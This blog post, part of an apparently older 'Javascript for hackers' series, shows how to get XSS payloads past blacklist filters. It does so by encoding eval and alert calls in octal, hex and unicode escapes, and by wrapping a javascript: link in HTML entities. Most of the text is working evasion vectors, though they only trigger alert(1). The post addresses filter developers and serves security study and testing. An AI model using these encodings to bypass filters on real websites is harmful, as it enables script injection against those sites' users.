Published 18 years 5 months ago • Last updated March 22, 2025 • ⏱️ 4 min read
In my second part of Javascript for hackers I shall be showing how pointless it is to ban the use of document, location etc within form variables.
You can create some truly amazing strings which are unreadable to the human eye, many more vectors are available on the sla.ckers thread I created but I'll show the juicy ones here.
First off what has it to do with XSS you may ask? With these character combinations you can allow access to javascript objects that was previously filtered out. If you're developing any sort of serious blacklist filter then you need to consider as much as possible. In future sites may be communicating with each other via Javascript and to do this you must know what is harmful and what is not.
Ok boring bit over with now onto the good stuff :) The following vectors were only tested on Firefox but the same sort of encoding may also work on other browsers with a bit of hacking.
In case you didn't know, in Firefox it's possible to call the eval function from pretty much anywhere. So in the example above zero could be 1 + 1 or new Date() or any expression at all. The first part therefore holds the reference to the eval function and the second part calls the function you want, in this case alert.
To take our vector a stage further we can also add backslash escapes, in javascript when a character is escaped that doesn't have special meaning it is returned as normal.
Octal encoding, notice how the 'e' is created:-
<pre lang="javascript">0['\145val']('alert(1)')</pre>Hex encoding:-
<pre lang="javascript">0['\x65val']('alert(1)')</pre>Unicode:-
<pre lang="javascript">0['\u0065val']('alert(1)')</pre>Javascript allows many different types of encoding within strings and it's quite easy to obscure the code. The above examples shows how each different encoding replaces the letter "e" in the vector. This could be applied to the entire string but I only replaced one letter to make it easy to see what is going on.
Unicode vector:-
<pre lang="javascript">\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029</pre>The above vector in plain text:-
<pre lang="javascript">alert(1)</pre>You can also encode javascript objects, functions or operators using unicode. The example above calls a simple "alert(1)" function. Why did I say nearly everything? It seems Javascript only allows you to encode the first quoting character of a string, the second must be in plain text in order for the vector to work. Look at the example below to understand this:-
Encoded vector, notice the last single quote cannot be encoded:-
<pre lang="javascript">\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0048\u0065\u006c\u006c\u006f'\u0029</pre>In plain text:-
<pre lang="javascript">alert('Hello')</pre>Vector 1:-
<pre lang="javascript">\u0031+\u0031\u005b'\145\166\141\154'\u005d\u0028'\141\154\145\162\164\50\61\51'\u0029 </pre>Vector 2:-
<pre lang="javascript">\u0030\u005b\u0022\x65\x76\x61\x6C"\u005d\u0028\u0027\x61\x6C\x65\x72\x74\x28\x31\x29'\u0029 </pre>Both vectors are based on the original one in the article with slight variations in quoting characters:-
<pre lang="javascript">0['eval']('alert(1)')</pre>So as you can see from the above filtering out "document" won't get you anywhere, you need to consider all possible variations. Both vectors use a combination of unicode, hex and octal encoding to produce the required code.
I'm not just gonna leave it there either :) there is one final vector which you have to consider, say for instance you filter out the "" character to prevent these sort of attacks, the url also allows entities so it's possible to encode the attacks mentioned again with html entities. For example:-
<pre lang="javascript"> <a href="javascript:\u0031+\u0031\u005b'\145\166\141\154'\u005d\u0028'\141\154\145\162\164\50\61\51'\u0029">Test</a> </pre>Becomes:-
<pre lang="javascript"> <a href="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x5C&#x75&#x30&#x30&#x33&#x31&#x2B&#x5C&#x75&#x30&#x30&#x33&#x31&#x5C&#x75&#x30&#x30&#x35&#x62&#x27&#x5C&#x31&#x34&#x35&#x5C&#x31&#x36&#x36&#x5C&#x31&#x34&#x31&#x5C&#x31&#x35&#x34&#x27&#x5C&#x75&#x30&#x30&#x35&#x64&#x5C&#x75&#x30&#x30&#x32&#x38&#x27&#x5C&#x31&#x34&#x31&#x5C&#x31&#x35&#x34&#x5C&#x31&#x34&#x35&#x5C&#x31&#x36&#x32&#x5C&#x31&#x36&#x34&#x5C&#x35&#x30&#x5C&#x36&#x31&#x5C&#x35&#x31&#x27&#x5C&#x75&#x30&#x30&#x32&#x39">Test</a></pre>Crazy eh? That actually works heh. You may be wondering how I manage to create all these vectors?...well I can scan javascript code and unicode tables in my head and automatically perform the conversions in nano seconds...joke. I use my Hackvertor tool to do the hard work for me :D